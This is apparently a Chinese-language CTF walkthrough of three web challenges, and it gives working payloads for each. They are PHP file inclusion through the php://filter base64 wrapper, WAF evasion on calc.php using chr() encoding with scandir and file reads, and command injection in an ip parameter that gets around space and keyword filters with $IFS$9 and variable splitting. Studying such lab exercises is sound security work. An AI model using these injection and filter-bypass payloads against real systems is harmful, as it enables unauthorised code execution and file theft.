打开环境,审查网页源码,发现隐藏的链接
点击超链接,提示信息可能被忽略了
使用Burp抓包,点击SECRET,审查源码
访问secr3t.php 代码审计,这是文件包含,将file赋值为flag.php,访问然而并没有内容
但其实已经得到了内容
考虑使用PHP伪协议过滤器filter再次访问
?file=php://filter/read=convert.base64-encode/resource=flag.php得到base64加密信息,解码即可获得FLAG
审查源码,发现超链接,并提示有WAF 访问查看源码
在❓后添加空格,尝试包含phpinfo()成功,绕过WAF
calc.php/? num=phpinfo();代码审计可知,过滤斜杠,所以使用chr函数代替明文斜杠,即chr(47)
可以使用var_dump和scandir获取目录信息
calc.php? num=1;var_dump(scandir(chr(47)))使用file_get_content访问flagg并且使用.拼接变量,得到FLAG
calc.php? num=1;var_dump(file_get_content(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))提示需要使用GET命令拼接IP
顺便把ls命令也拼接上 (访问index.php可以看到源码)
cat访问flag.php,发现空格被过滤
/?ip=127.0.0.1;cat flag.php;!!别忘了末尾的分号!!
绕过空格过滤发现,符号也被过滤了,只能使用$IFS$9代替空格
然而flag也被过滤了
/?ip=127.0.0.1;cat$IFS$9flag.php;设置变量a绕过字符串过滤,在注释里发现FLAG
/?ip=127.0.0.1;a=g;cat$IFS$9fla$a.php;欢迎在评论区留言 感谢浏览